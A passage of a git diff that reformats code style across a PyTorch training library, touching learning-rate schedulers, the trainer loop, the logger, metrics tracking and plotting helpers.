+ base_lr * (self.last_epoch + 1) / self.warmup_epochs + for base_lr in self.base_lrs + ] + if self.base_scheduler is not None: return self.base_scheduler.get_last_lr() - + return self.base_lrs - + def step(self, epoch=None): if self.last_epoch < self.warmup_epochs: super().step(epoch) elif self.base_scheduler is not None: self.base_scheduler.step(epoch) + class CosineAnnealingWarmRestarts(_LRScheduler): def __init__(self, optimizer, T_0, T_mult=1, eta_min=0, last_epoch=-1): self.T_0 = T_0 @@ -31,13 +36,16 @@ def __init__(self, optimizer, T_0, T_mult=1, eta_min=0, last_epoch=-1): self.T_cur = last_epoch self.T_i = T_0 super().__init__(optimizer, last_epoch) - + def get_lr(self): return [ - self.eta_min + (base_lr - self.eta_min) * (1 + math.cos(math.pi * self.T_cur / self.T_i)) / 2 + self.eta_min + + (base_lr - self.eta_min) + * (1 + math.cos(math.pi * self.T_cur / self.T_i)) + / 2 for base_lr in self.base_lrs ] - + def step(self, epoch=None): if epoch is None: epoch = self.last_epoch + 1 @@ -47,96 +55,154 @@ def step(self, epoch=None): self.T_i = self.T_i * self.T_mult else: if epoch < 0: - raise ValueError("Expected non-negative epoch, but got {}".format(epoch)) + raise ValueError( + "Expected non-negative epoch, but got {}".format(epoch) + ) if epoch >= self.T_0: if self.T_mult == 1: self.T_cur = epoch % self.T_0 else: - n = int(math.log((epoch / self.T_0 * (self.T_mult - 1) + 1), self.T_mult)) - self.T_cur = epoch - self.T_0 * (self.T_mult ** n - 1) / (self.T_mult - 1) - self.T_i = self.T_0 * self.T_mult ** n + n = int( + math.log( + (epoch / self.T_0 * (self.T_mult - 1) + 1), self.T_mult + ) + ) + self.T_cur = epoch - self.T_0 * (self.T_mult**n - 1) / ( + self.T_mult - 1 + ) + self.T_i = self.T_0 * self.T_mult**n else: self.T_i = self.T_0 self.T_cur = epoch - + self.last_epoch = math.floor(epoch) - + for param_group, lr in zip(self.optimizer.param_groups, self.get_lr()): - param_group['lr'] = lr + param_group["lr"] = lr + class OneCycleLR(_LRScheduler): - def __init__(self, optimizer, max_lr, total_steps, pct_start=0.3, anneal_strategy='cos', - div_factor=25.0, final_div_factor=1e4, last_epoch=-1): - self.max_lr = max_lr if isinstance(max_lr, list) else [max_lr] * len(optimizer.param_groups) + def __init__( + self, + optimizer, + max_lr, + total_steps, + pct_start=0.3, + anneal_strategy="cos", + div_factor=25.0, + final_div_factor=1e4, + last_epoch=-1, + ): + self.max_lr = ( + max_lr + if isinstance(max_lr, list) + else [max_lr] * len(optimizer.param_groups) + ) self.total_steps = total_steps self.pct_start = pct_start self.anneal_strategy = anneal_strategy self.div_factor = div_factor self.final_div_factor = final_div_factor - + self.initial_lr = [lr / self.div_factor for lr in self.max_lr] self.min_lr = [lr / self.final_div_factor for lr in self.max_lr] - + super().__init__(optimizer, last_epoch) - + def get_lr(self): step_num = self.last_epoch - + if step_num > self.total_steps: return self.min_lr - + if step_num <= self.pct_start * self.total_steps: pct = step_num / (self.pct_start * self.total_steps) - return [initial + (maximum - initial) * pct - for initial, maximum in zip(self.initial_lr, self.max_lr)] + return [ + initial + (maximum - initial) * pct + for initial, maximum in zip(self.initial_lr, self.max_lr) + ] else: - pct = (step_num - self.pct_start * self.total_steps) / ((1 - self.pct_start) * self.total_steps) - - if self.anneal_strategy == 'cos': - return [minimum + (maximum - minimum) * (1 + math.cos(math.pi * pct)) / 2 - for minimum, maximum in zip(self.min_lr, self.max_lr)] + pct = (step_num - self.pct_start * self.total_steps) / ( + (1 - self.pct_start) * self.total_steps + ) + + if self.anneal_strategy == "cos": + return [ + minimum + (maximum - minimum) * (1 + math.cos(math.pi * pct)) / 2 + for minimum, maximum in zip(self.min_lr, self.max_lr) + ] else: - return [maximum - (maximum - minimum) * pct - for minimum, maximum in zip(self.min_lr, self.max_lr)] + return [ + maximum - (maximum - minimum) * pct + for minimum, maximum in zip(self.min_lr, self.max_lr) + ] + class PolynomialLR(_LRScheduler): def __init__(self, optimizer, total_iters, power=1.0, last_epoch=-1): self.total_iters = total_iters self.power = power super().__init__(optimizer, last_epoch) - + def get_lr(self): if self.last_epoch == 0 or self.last_epoch > self.total_iters: - return [group['lr'] for group in self.optimizer.param_groups] - - decay_factor = ((1.0 - self.last_epoch / self.total_iters) / (1.0 - (self.last_epoch - 1) / self.total_iters)) ** self.power - return [group['lr'] * decay_factor for group in self.optimizer.param_groups] + return [group["lr"] for group in self.optimizer.param_groups] + + decay_factor = ( + (1.0 - self.last_epoch / self.total_iters) + / (1.0 - (self.last_epoch - 1) / self.total_iters) + ) ** self.power + return [group["lr"] * decay_factor for group in self.optimizer.param_groups] + class LinearWarmupCosineAnnealingLR(_LRScheduler): - def __init__(self, optimizer, warmup_epochs, max_epochs, warmup_start_lr=0.0, eta_min=0.0, last_epoch=-1): + def __init__( + self, + optimizer, + warmup_epochs, + max_epochs, + warmup_start_lr=0.0, + eta_min=0.0, + last_epoch=-1, + ): self.warmup_epochs = warmup_epochs self.max_epochs = max_epochs self.warmup_start_lr = warmup_start_lr self.eta_min = eta_min super().__init__(optimizer, last_epoch) - + def get_lr(self): if self.last_epoch < self.warmup_epochs: alpha = self.last_epoch / self.warmup_epochs - return [self.warmup_start_lr + (base_lr - self.warmup_start_lr) * alpha for base_lr in self.base_lrs] + return [ + self.warmup_start_lr + (base_lr - self.warmup_start_lr) * alpha + for base_lr in self.base_lrs + ] else: - progress = (self.last_epoch - self.warmup_epochs) / (self.max_epochs - self.warmup_epochs) - return [self.eta_min + (base_lr - self.eta_min) * 0.5 * (1.0 + math.cos(math.pi * progress)) - for base_lr in self.base_lrs] + progress = (self.last_epoch - self.warmup_epochs) / ( + self.max_epochs - self.warmup_epochs + ) + return [ + self.eta_min + + (base_lr - self.eta_min) * 0.5 * (1.0 + math.cos(math.pi * progress)) + for base_lr in self.base_lrs + ] + class ExponentialWarmup(_LRScheduler): def __init__(self, optimizer, warmup_epochs, gamma=0.9, last_epoch=-1): self.warmup_epochs = warmup_epochs self.gamma = gamma super().__init__(optimizer, last_epoch) - + def get_lr(self): if self.last_epoch < self.warmup_epochs: - return [base_lr * (self.last_epoch + 1) / self.warmup_epochs for base_lr in self.base_lrs] - - return [base_lr * self.gamma ** (self.last_epoch - self.warmup_epochs) for base_lr in self.base_lrs] \ No newline at end of file + return [ + base_lr * (self.last_epoch + 1) / self.warmup_epochs + for base_lr in self.base_lrs + ] + + return [ + base_lr * self.gamma ** (self.last_epoch - self.warmup_epochs) + for base_lr in self.base_lrs + ] diff --git a/ML/src/python/neuralforge/trainer.py b/ML/src/python/neuralforge/trainer.py index 423d45b2f2e..a45fbaabd05 100644 --- a/ML/src/python/neuralforge/trainer.py +++ b/ML/src/python/neuralforge/trainer.py @@ -10,6 +10,7 @@ from .utils.metrics import MetricsTracker from .config import Config + class Trainer: def __init__( self, @@ -20,7 +21,7 @@ def __init__( criterion: nn.Module, config: Config, scheduler: Optional[Any] = None, - device: Optional[str] = None + device: Optional[str] = None, ): self.model = model self.train_loader = train_loader @@ -30,130 +31,147 @@ def __init__( self.config = config self.scheduler = scheduler self.device = device or config.device - + self.model.to(self.device) - - self.scaler = amp.GradScaler('cuda') if config.use_amp and self.device == 'cuda' else None + + self.scaler = ( + amp.GradScaler("cuda") if config.use_amp and self.device == "cuda" else None + ) self.logger = Logger(config.log_dir, config.model_name) self.metrics = MetricsTracker() - + self.current_epoch = 0 self.global_step = 0 - self.best_val_loss = float('inf') - + self.best_val_loss = float("inf") + os.makedirs(config.model_dir, exist_ok=True) - + self.logger.info(f"Trainer initialized with device: {self.device}") - self.logger.info(f"Model parameters: {sum(p.numel() for p in model.parameters()):,}") - self.logger.info(f"Trainable parameters: {sum(p.numel() for p in model.parameters() if p.requires_grad):,}") - + self.logger.info( + f"Model parameters: {sum(p.numel() for p in model.parameters()):,}" + ) + self.logger.info( + f"Trainable parameters: {sum(p.numel() for p in model.parameters() if p.requires_grad):,}" + ) + def train_epoch(self) -> Dict[str, float]: self.model.train() epoch_loss = 0.0 correct = 0 total = 0 - - pbar = tqdm(self.train_loader, desc=f"Epoch {self.current_epoch + 1}/{self.config.epochs}") - + + pbar = tqdm( + self.train_loader, + desc=f"Epoch {self.current_epoch + 1}/{self.config.epochs}", + ) + for batch_idx, (inputs, targets) in enumerate(pbar): inputs = inputs.to(self.device, non_blocking=True) targets = targets.to(self.device, non_blocking=True) - + self.optimizer.zero_grad(set_to_none=True) - + if self.scaler is not None: - with amp.autocast('cuda'): + with amp.autocast("cuda"): outputs = self.model(inputs) loss = self.criterion(outputs, targets) - + self.scaler.scale(loss).backward() - + if self.config.grad_clip > 0: self.scaler.unscale_(self.optimizer) - torch.nn.utils.clip_grad_norm_(self.model.parameters(), self.config.grad_clip) - + torch.nn.utils.clip_grad_norm_( + self.model.parameters(), self.config.grad_clip + ) + self.scaler.step(self.optimizer) self.scaler.update() else: outputs = self.model(inputs) loss = self.criterion(outputs, targets) loss.backward() - + if self.config.grad_clip > 0: - torch.nn.utils.clip_grad_norm_(self.model.parameters(), self.config.grad_clip) - + torch.nn.utils.clip_grad_norm_( + self.model.parameters(), self.config.grad_clip + ) + self.optimizer.step() - + epoch_loss += loss.item() _, predicted = outputs.max(1) total += targets.size(0) correct += predicted.eq(targets).sum().item() - + self.global_step += 1 - + if batch_idx % 10 == 0: - pbar.set_postfix({ - 'loss': f'{loss.item():.4f}', - 'acc': f'{100. * correct / total:.2f}%' - }) - + pbar.set_postfix( + { + "loss": f"{loss.item():.4f}", + "acc": f"{100.0 * correct / total:.2f}%", + } + ) + avg_loss = epoch_loss / len(self.train_loader) - accuracy = 100. * correct / total - - return {'loss': avg_loss, 'accuracy': accuracy} - + accuracy = 100.0 * correct / total + + return {"loss": avg_loss, "accuracy": accuracy} + def validate(self) -> Dict[str, float]: if self.val_loader is None: return {} - + self.model.eval() val_loss = 0.0 correct = 0 total = 0 - + with torch.no_grad(): for inputs, targets in tqdm(self.val_loader, desc="Validation"): inputs = inputs.to(self.device, non_blocking=True) targets = targets.to(self.device, non_blocking=True) - + if self.scaler is not None: - with amp.autocast('cuda'): + with amp.autocast("cuda"): outputs = self.model(inputs) loss = self.criterion(outputs, targets) else: outputs = self.model(inputs) loss = self.criterion(outputs, targets) - + val_loss += loss.item() _, predicted = outputs.max(1) total += targets.size(0) correct += predicted.eq(targets).sum().item() - + avg_loss = val_loss / len(self.val_loader) - accuracy = 100. * correct / total - - return {'loss': avg_loss, 'accuracy': accuracy} - + accuracy = 100.0 * correct / total + + return {"loss": avg_loss, "accuracy": accuracy} + def train(self): self.logger.info("Starting training...") start_time = time.time() - + for epoch in range(self.config.epochs): self.current_epoch = epoch epoch_start = time.time() - + train_metrics = self.train_epoch() val_metrics = self.validate() - + if self.scheduler is not None: - if isinstance(self.scheduler, torch.optim.lr_scheduler.ReduceLROnPlateau): - self.scheduler.step(val_metrics.get('loss', train_metrics['loss'])) + if isinstance( + self.scheduler, torch.optim.lr_scheduler.ReduceLROnPlateau + ): + self.scheduler.step(val_metrics.get("loss", train_metrics["loss"])) else: self.scheduler.step() - - current_lr = self.optimizer.param_groups[0]['lr'] + + current_lr = self.optimizer.param_groups[0]["lr"] epoch_time = time.time() - epoch_start - + self.logger.info( f"Epoch {epoch + 1}/{self.config.epochs} | " f"Train Loss: {train_metrics['loss']:.4f} | " @@ -163,94 +181,98 @@ def train(self): f"LR: {current_lr:.6f} | " f"Time: {epoch_time:.2f}s" ) - - self.metrics.update({ - 'epoch': epoch + 1, - 'train_loss': train_metrics['loss'], - 'train_acc': train_metrics['accuracy'], - 'val_loss': val_metrics.get('loss', 0), - 'val_acc': val_metrics.get('accuracy', 0), - 'lr': current_lr, - 'time': epoch_time - }) - + + self.metrics.update( + { + "epoch": epoch + 1, + "train_loss": train_metrics["loss"], + "train_acc": train_metrics["accuracy"], + "val_loss": val_metrics.get("loss", 0), + "val_acc": val_metrics.get("accuracy", 0), + "lr": current_lr, + "time": epoch_time, + } + ) + if (epoch + 1) % self.config.checkpoint_freq == 0: - self.save_checkpoint(f'checkpoint_epoch_{epoch + 1}.pt') - - if val_metrics and val_metrics['loss'] < self.best_val_loss: - self.best_val_loss = val_metrics['loss'] - self.save_checkpoint('best_model.pt') - self.logger.info(f"New best model saved with val_loss: {self.best_val_loss:.4f}") - + self.save_checkpoint(f"checkpoint_epoch_{epoch + 1}.pt") + + if val_metrics and val_metrics["loss"] < self.best_val_loss: + self.best_val_loss = val_metrics["loss"] + self.save_checkpoint("best_model.pt") + self.logger.info( + f"New best model saved with val_loss: {self.best_val_loss:.4f}" + ) + total_time = time.time() - start_time self.logger.info(f"Training completed in {total_time / 3600:.2f} hours") - - self.save_checkpoint('final_model.pt') - self.metrics.save(os.path.join(self.config.log_dir, 'metrics.json')) - + + self.save_checkpoint("final_model.pt") + self.metrics.save(os.path.join(self.config.log_dir, "metrics.json")) + def save_checkpoint(self, filename: str): checkpoint_path = os.path.join(self.config.model_dir, filename) - + checkpoint = { - 'epoch': self.current_epoch, - 'global_step': self.global_step, - 'model_state_dict': self.model.state_dict(), - 'optimizer_state_dict': self.optimizer.state_dict(), - 'best_val_loss': self.best_val_loss, - 'config': self.config, + "epoch": self.current_epoch, + "global_step": self.global_step, + "model_state_dict": self.model.state_dict(), + "optimizer_state_dict": self.optimizer.state_dict(), + "best_val_loss": self.best_val_loss, + "config": self.config, } - + if self.scheduler is not None: - checkpoint['scheduler_state_dict'] = self.scheduler.state_dict() - + checkpoint["scheduler_state_dict"] = self.scheduler.state_dict() + if self.scaler is not None: - checkpoint['scaler_state_dict'] = self.scaler.state_dict() - + checkpoint["scaler_state_dict"] = self.scaler.state_dict() + torch.save(checkpoint, checkpoint_path) self.logger.info(f"Checkpoint saved: {checkpoint_path}") - + def load_checkpoint(self, checkpoint_path: str): self.logger.info(f"Loading checkpoint: {checkpoint_path}") checkpoint = torch.load(checkpoint_path, map_location=self.device) - - self.model.load_state_dict(checkpoint['model_state_dict']) - self.optimizer.load_state_dict(checkpoint['optimizer_state_dict']) - self.current_epoch = checkpoint['epoch'] - self.global_step = checkpoint['global_step'] - self.best_val_loss = checkpoint['best_val_loss'] - - if self.scheduler is not None and 'scheduler_state_dict' in checkpoint: - self.scheduler.load_state_dict(checkpoint['scheduler_state_dict']) - - if self.scaler is not None and 'scaler_state_dict' in checkpoint: - self.scaler.load_state_dict(checkpoint['scaler_state_dict']) - + + self.model.load_state_dict(checkpoint["model_state_dict"]) + self.optimizer.load_state_dict(checkpoint["optimizer_state_dict"]) + self.current_epoch = checkpoint["epoch"] + self.global_step = checkpoint["global_step"] + self.best_val_loss = checkpoint["best_val_loss"] + + if self.scheduler is not None and "scheduler_state_dict" in checkpoint: + self.scheduler.load_state_dict(checkpoint["scheduler_state_dict"]) + + if self.scaler is not None and "scaler_state_dict" in checkpoint: + self.scaler.load_state_dict(checkpoint["scaler_state_dict"]) + self.logger.info(f"Checkpoint loaded from epoch {self.current_epoch}") - + def test(self, test_loader: DataLoader) -> Dict[str, float]: self.logger.info("Starting testing...") self.model.eval() - + test_loss = 0.0 correct = 0 total = 0 - + with torch.no_grad(): for inputs, targets in tqdm(test_loader, desc="Testing"): inputs = inputs.to(self.device, non_blocking=True) targets = targets.to(self.device, non_blocking=True) - + outputs = self.model(inputs) loss = self.criterion(outputs, targets) - + test_loss += loss.item() _, predicted = outputs.max(1) total += targets.size(0) correct += predicted.eq(targets).sum().item() - + avg_loss = test_loss / len(test_loader) - accuracy = 100. * correct / total - + accuracy = 100.0 * correct / total + self.logger.info(f"Test Loss: {avg_loss:.4f} | Test Acc: {accuracy:.2f}%") - - return {'loss': avg_loss, 'accuracy': accuracy} \ No newline at end of file + + return {"loss": avg_loss, "accuracy": accuracy} diff --git a/ML/src/python/neuralforge/utils/__init__.py b/ML/src/python/neuralforge/utils/__init__.py index bfd8573a296..cfa1c4049f1 100644 --- a/ML/src/python/neuralforge/utils/__init__.py +++ b/ML/src/python/neuralforge/utils/__init__.py @@ -3,8 +3,8 @@ from .visualization import * __all__ = [ - 'Logger', - 'MetricsTracker', - 'plot_training_curves', - 'visualize_architecture', -] \ No newline at end of file + "Logger", + "MetricsTracker", + "plot_training_curves", + "visualize_architecture", +] diff --git a/ML/src/python/neuralforge/utils/logger.py b/ML/src/python/neuralforge/utils/logger.py index 321b045aac6..0c47dbecb43 100644 --- a/ML/src/python/neuralforge/utils/logger.py +++ b/ML/src/python/neuralforge/utils/logger.py @@ -4,69 +4,72 @@ from datetime import datetime from typing import Optional + class Logger: def __init__(self, log_dir: str, name: str = "neuralforge"): self.log_dir = log_dir self.name = name - + os.makedirs(log_dir, exist_ok=True) - + timestamp = datetime.now().strftime("%Y%m%d_%H%M%S") log_file = os.path.join(log_dir, f"{name}_{timestamp}.log") - + self.logger = logging.getLogger(name) self.logger.setLevel(logging.INFO) - + if self.logger.hasHandlers(): self.logger.handlers.clear() - + file_handler = logging.FileHandler(log_file) file_handler.setLevel(logging.INFO) - + console_handler = logging.StreamHandler(sys.stdout) console_handler.setLevel(logging.INFO) - + formatter = logging.Formatter( - '%(asctime)s - %(name)s - %(levelname)s - %(message)s', - datefmt='%Y-%m-%d %H:%M:%S' + "%(asctime)s - %(name)s - %(levelname)s - %(message)s", + datefmt="%Y-%m-%d %H:%M:%S", ) - + file_handler.setFormatter(formatter) console_handler.setFormatter(formatter) - + self.logger.addHandler(file_handler) self.logger.addHandler(console_handler) - + self.info(f"Logger initialized. Logging to: {log_file}") - + def info(self, message: str): self.logger.info(message) - + def warning(self, message: str): self.logger.warning(message) - + def error(self, message: str): self.logger.error(message) - + def debug(self, message: str): self.logger.debug(message) - + def log_metrics(self, metrics: dict, step: Optional[int] = None): if step is not None: message = f"Step {step}: " else: message = "Metrics: " - - metric_strs = [f"{k}={v:.4f}" if isinstance(v, float) else f"{k}={v}" - for k, v in metrics.items()] + + metric_strs = [ + f"{k}={v:.4f}" if isinstance(v, float) else f"{k}={v}" + for k, v in metrics.items() + ] message += ", ".join(metric_strs) - + self.info(message) - + def log_model_summary(self, model): total_params = sum(p.numel() for p in model.parameters()) trainable_params = sum(p.numel() for p in model.parameters() if p.requires_grad) - + self.info("=" * 50) self.info("Model Summary") self.info("=" * 50) @@ -74,42 +77,44 @@ def log_model_summary(self, model): self.info(f"Trainable parameters: {trainable_params:,}") self.info(f"Non-trainable parameters: {total_params - trainable_params:,}") self.info("=" * 50) - + def separator(self, char: str = "=", length: int = 80): self.info(char * length) + class TensorBoardLogger: def __init__(self, log_dir: str): self.log_dir = log_dir - + try: from torch.utils.tensorboard import SummaryWriter + self.writer = SummaryWriter(log_dir) self.enabled = True except ImportError: print("TensorBoard not available. Skipping TensorBoard logging.") self.enabled = False - + def log_scalar(self, tag: str, value: float, step: int): if self.enabled: self.writer.add_scalar(tag, value, step) - + def log_scalars(self, main_tag: str, tag_scalar_dict: dict, step: int): if self.enabled: self.writer.add_scalars(main_tag, tag_scalar_dict, step) - + def log_histogram(self, tag: str, values, step: int): if self.enabled: self.writer.add_histogram(tag, values, step) - + def log_image(self, tag: str, img_tensor, step: int): if self.enabled: self.writer.add_image(tag, img_tensor, step) - + def log_graph(self, model, input_to_model): if self.enabled: self.writer.add_graph(model, input_to_model) - + def close(self): if self.enabled: self.writer.close() diff --git a/ML/src/python/neuralforge/utils/metrics.py b/ML/src/python/neuralforge/utils/metrics.py index 633367d8764..4a510210cea 100644 --- a/ML/src/python/neuralforge/utils/metrics.py +++ b/ML/src/python/neuralforge/utils/metrics.py @@ -3,112 +3,112 @@ from typing import Dict, List, Any import numpy as np + class MetricsTracker: def __init__(self): self.metrics = [] self.best_metrics = {} - + def update(self, metrics: Dict[str, Any]): self.metrics.append(metrics.copy()) - + for key, value in metrics.items(): if isinstance(value, (int, float)): if key not in self.best_metrics: self.best_metrics[key] = value else: - if 'loss' in key.lower(): + if "loss" in key.lower(): self.best_metrics[key] = min(self.best_metrics[key], value) else: self.best_metrics[key] = max(self.best_metrics[key], value) - + def get_history(self, key: str) -> List[Any]: return [m.get(key) for m in self.metrics if key in m] - + def get_latest(self, key: str) -> Any: for m in reversed(self.metrics): if key in m: return m[key] return None - + def get_best(self, key: str) -> Any: return self.best_metrics.get(key) - + def get_average(self, key: str, last_n: int = None) -> float: history = self.get_history(key) if not history: return 0.0 - + if last_n is not None: history = history[-last_n:] - + return np.mean([v for v in history if v is not None]) - + def save(self, filepath: str): os.makedirs(os.path.dirname(filepath), exist_ok=True) - - data = { - 'metrics': self.metrics, - 'best_metrics': self.best_metrics - } - - with open(filepath, 'w') as f: + + data = {"metrics": self.metrics, "best_metrics": self.best_metrics} + + with open(filepath, "w") as f: json.dump(data, f, indent=2) - + def load(self, filepath: str): - with open(filepath, 'r') as f: + with open(filepath, "r") as f: data = json.load(f) - - self.metrics = data.get('metrics', []) - self.best_metrics = data.get('best_metrics', {}) - + + self.metrics = data.get("metrics", []) + self.best_metrics = data.get("best_metrics", {}) + def summary(self) -> str: lines = ["=" * 50, "Metrics Summary", "=" * 50] - + for key, value in self.best_metrics.items(): latest = self.get_latest(key) if isinstance(value, float): lines.append(f"{key}: best={value:.4f}, latest={latest:.4f}") else: lines.append(f"{key}: best={value}, latest={latest}") - + lines.append("=" * 50) return "\n".join(lines) + class AverageMeter: def __init__(self): self.reset() - + def reset(self): self.val = 0 self.avg = 0 self.sum = 0 self.count = 0 - + def update(self, val, n=1): self.val = val self.sum += val * n self.count += n self.avg = self.sum / self.count if self.count > 0 else 0 + class EarlyStopping: - def __init__(self, patience: int = 10, min_delta: float = 0.0, mode: str = 'min'): + def __init__(self, patience: int = 10, min_delta: float = 0.0, mode: str = "min"): self.patience = patience self.min_delta = min_delta self.mode = mode self.counter = 0 self.best_score = None self.early_stop = False - + def __call__(self, score: float) -> bool: if self.best_score is None: self.best_score = score return False - - if self.mode == 'min': + + if self.mode == "min": improved = score < (self.best_score - self.min_delta) else: improved = score > (self.best_score + self.min_delta) - + if improved: self.best_score = score self.counter = 0 @@ -116,48 +116,51 @@ def __call__(self, score: float) -> bool: self.counter += 1 if self.counter >= self.patience: self.early_stop = True - + return self.early_stop + class ConfusionMatrix: def __init__(self, num_classes: int): self.num_classes = num_classes self.matrix = np.zeros((num_classes, num_classes), dtype=np.int64) - + def update(self, predictions: np.ndarray, targets: np.ndarray): for pred, target in zip(predictions, targets): self.matrix[target, pred] += 1 - + def reset(self): self.matrix = np.zeros((self.num_classes, self.num_classes), dtype=np.int64) - + def compute_metrics(self) -> Dict[str, float]: tp = np.diag(self.matrix) fp = np.sum(self.matrix, axis=0) - tp fn = np.sum(self.matrix, axis=1) - tp tn = np.sum(self.matrix) - (tp + fp + fn) - + accuracy = np.sum(tp) / np.sum(self.matrix) if np.sum(self.matrix) > 0 else 0.0 - + precision = tp / (tp + fp + 1e-10) recall = tp / (tp + fn + 1e-10) f1_score = 2 * (precision * recall) / (precision + recall + 1e-10) - + return { - 'accuracy': accuracy, - 'precision': np.mean(precision), - 'recall': np.mean(recall), - 'f1_score': np.mean(f1_score) + "accuracy": accuracy, + "precision": np.mean(precision), + "recall": np.mean(recall), + "f1_score": np.mean(f1_score), } - + def get_matrix(self) -> np.ndarray: return self.matrix + def accuracy(predictions, targets): correct = (predictions == targets).sum() total = len(targets) return 100.0 * correct / total if total > 0 else 0.0 + def top_k_accuracy(output, target, k=5): with torch.no_grad(): maxk = min(k, output.size(1)) diff --git a/ML/src/python/neuralforge/utils/visualization.py b/ML/src/python/neuralforge/utils/visualization.py index 104a12950ad..de0c7576244 100644 --- a/ML/src/python/neuralforge/utils/visualization.py +++ b/ML/src/python/neuralforge/utils/visualization.py @@ -3,176 +3,201 @@ import os from typing import List, Dict, Optional + def plot_training_curves( - metrics_tracker, - save_path: Optional[str] = None, - figsize: tuple = (15, 5) + metrics_tracker, save_path: Optional[str] = None, figsize: tuple = (15, 5) ): - train_loss = metrics_tracker.get_history('train_loss') - val_loss = metrics_tracker.get_history('val_loss') - train_acc = metrics_tracker.get_history('train_acc') - val_acc = metrics_tracker.get_history('val_acc') - + train_loss = metrics_tracker.get_history("train_loss") + val_loss = metrics_tracker.get_history("val_loss") + train_acc = metrics_tracker.get_history("train_acc") + val_acc = metrics_tracker.get_history("val_acc") + fig, axes = plt.subplots(1, 2, figsize=figsize) - + if train_loss: - axes[0].plot(train_loss, label='Train Loss', linewidth=2) + axes[0].plot(train_loss, label="Train Loss", linewidth=2) if val_loss: - axes[0].plot(val_loss, label='Val Loss', linewidth=2) - axes[0].set_xlabel('Epoch') - axes[0].set_ylabel('Loss') - axes[0].set_title('Training and Validation Loss') + axes[0].plot(val_loss, label="Val Loss", linewidth=2) + axes[0].set_xlabel("Epoch") + axes[0].set_ylabel("Loss") + axes[0].set_title("Training and Validation Loss") axes[0].legend() axes[0].grid(True, alpha=0.3) - + if train_acc: - axes[1].plot(train_acc, label='Train Accuracy', linewidth=2) + axes[1].plot(train_acc, label="Train Accuracy", linewidth=2) if val_acc: - axes[1].plot(val_acc, label='Val Accuracy', linewidth=2) - axes[1].set_xlabel('Epoch') - axes[1].set_ylabel('Accuracy (%)') - axes[1].set_title('Training and Validation Accuracy') + axes[1].plot(val_acc, label="Val Accuracy", linewidth=2) + axes[1].set_xlabel("Epoch") + axes[1].set_ylabel("Accuracy (%)") + axes[1].set_title("Training and Validation Accuracy") axes[1].legend() axes[1].grid(True, alpha=0.3) - + plt.tight_layout() - + if save_path: os.makedirs(os.path.dirname(save_path), exist_ok=True) - plt.savefig(save_path, dpi=300, bbox_inches='tight') + plt.savefig(save_path, dpi=300, bbox_inches="tight") print(f"Training curves saved to {save_path}") - + plt.close() + def plot_learning_rate( - lr_history: List[float], - save_path: Optional[str] = None, - figsize: tuple = (10, 5) + lr_history: List[float], save_path: Optional[str] = None, figsize: tuple = (10, 5) ): plt.figure(figsize=figsize) plt.plot(lr_history, linewidth=2) - plt.xlabel('Step') - plt.ylabel('Learning Rate') - plt.title('Learning Rate Schedule') + plt.xlabel("Step") + plt.ylabel("Learning Rate") + plt.title("Learning Rate Schedule") plt.grid(True, alpha=0.3) - plt.yscale('log') - + plt.yscale("log") + if save_path: os.makedirs(os.path.dirname(save_path), exist_ok=True) - plt.savefig(save_path, dpi=300, bbox_inches='tight') + plt.savefig(save_path, dpi=300, bbox_inches="tight") print(f"Learning rate plot saved to {save_path}") - + plt.close() + def plot_confusion_matrix( cm: np.ndarray, class_names: Optional[List[str]] = None, save_path: Optional[str] = None, - figsize: tuple = (10, 8) + figsize: tuple = (10, 8), ): plt.figure(figsize=figsize) - plt.imshow(cm, interpolation='nearest', cmap=plt.cm.Blues) - plt.title('Confusion Matrix') + plt.imshow(cm, interpolation="nearest", cmap=plt.cm.Blues) + plt.title("Confusion Matrix") plt.colorbar() - + if class_names: tick_marks = np.arange(len(class_names)) plt.xticks(tick_marks, class_names, rotation=45) plt.yticks(tick_marks, class_names) - + thresh = cm.max() / 2.0 for i in range(cm.shape[0]): for j in range(cm.shape[1]): - plt.text(j, i, format(cm[i, j], 'd'), - ha="center", va="center", - color="white" if cm[i, j] > thresh else "black") - - plt.ylabel('True label') - plt.xlabel('Predicted label') + plt.text( + j, + i, + format(cm[i, j], "d"), + ha="center", + va="center", + color="white" if cm[i, j] > thresh else "black", + ) + + plt.ylabel("True label") + plt.xlabel("Predicted label") plt.tight_layout() - + if save_path: os.makedirs(os.path.dirname(save_path), exist_ok=True) - plt.savefig(save_path, dpi=300, bbox_inches='tight') + plt.savefig(save_path, dpi=300, bbox_inches="tight") print(f"Confusion matrix saved to {save_path}") - + plt.close() + def visualize_architecture(architecture, save_path: Optional[str] = None): - layer_types = [gene.get('type', 'unknown') for gene in architecture.genome] + layer_types = [gene.get("type", "unknown") for gene in architecture.genome] layer_counts = {} - + for layer_type in layer_types: layer_counts[layer_type] = layer_counts.get(layer_type, 0) + 1 - + plt.figure(figsize=(10, 6)) plt.bar(layer_counts.keys(), layer_counts.values()) - plt.xlabel('Layer Type') - plt.ylabel('Count') - plt.title('Architecture Layer Distribution') + plt.xlabel("Layer Type") + plt.ylabel("Count") + plt.title("Architecture Layer Distribution") plt.xticks(rotation=45) - plt.grid(True, alpha=0.3, axis='y') + plt.grid(True, alpha=0.3, axis="y") plt.tight_layout() - + if save_path: os.makedirs(os.path.dirname(save_path), exist_ok=True) - plt.savefig(save_path, dpi=300, bbox_inches='tight') + plt.savefig(save_path, dpi=300, bbox_inches="tight") print(f"Architecture visualization saved to {save_path}") - + plt.close() + def plot_nas_history( - history: List[Dict], - save_path: Optional[str] = None, - figsize: tuple = (15, 5) + history: List[Dict], save_path: Optional[str] = None, figsize: tuple = (15, 5) ): - generations = [h['generation'] for h in history] - best_fitness = [h['best_fitness'] for h in history] - avg_fitness = [h['avg_fitness'] for h in history] - best_accuracy = [h['best_accuracy'] for h in history] - avg_accuracy = [h['avg_accuracy'] for h in history] - + generations = [h["generation"] for h in history] + best_fitness = [h["best_fitness"] for h in history] + avg_fitness = [h["avg_fitness"] for h in history] + best_accuracy = [h["best_accuracy"] for h in history] + avg_accuracy = [h["avg_accuracy"] for h in history] + fig, axes = plt.subplots(1, 2, figsize=figsize) - - axes[0].plot(generations, best_fitness, label='Best Fitness', linewidth=2, marker='o') - axes[0].plot(generations, avg_fitness, label='Avg Fitness', linewidth=2, marker='s') - axes[0].set_xlabel('Generation') - axes[0].set_ylabel('Fitness') - axes[0].set_title('NAS Fitness Evolution') + + axes[0].plot( + generations, best_fitness, label="Best Fitness", linewidth=2, marker="o" + ) + axes[0].plot(generations, avg_fitness, label="Avg Fitness", linewidth=2, marker="s") + axes[0].set_xlabel("Generation") + axes[0].set_ylabel("Fitness") + axes[0].set_title("NAS Fitness Evolution") axes[0].legend() axes[0].grid(True, alpha=0.3) - - axes[1].plot(generations, 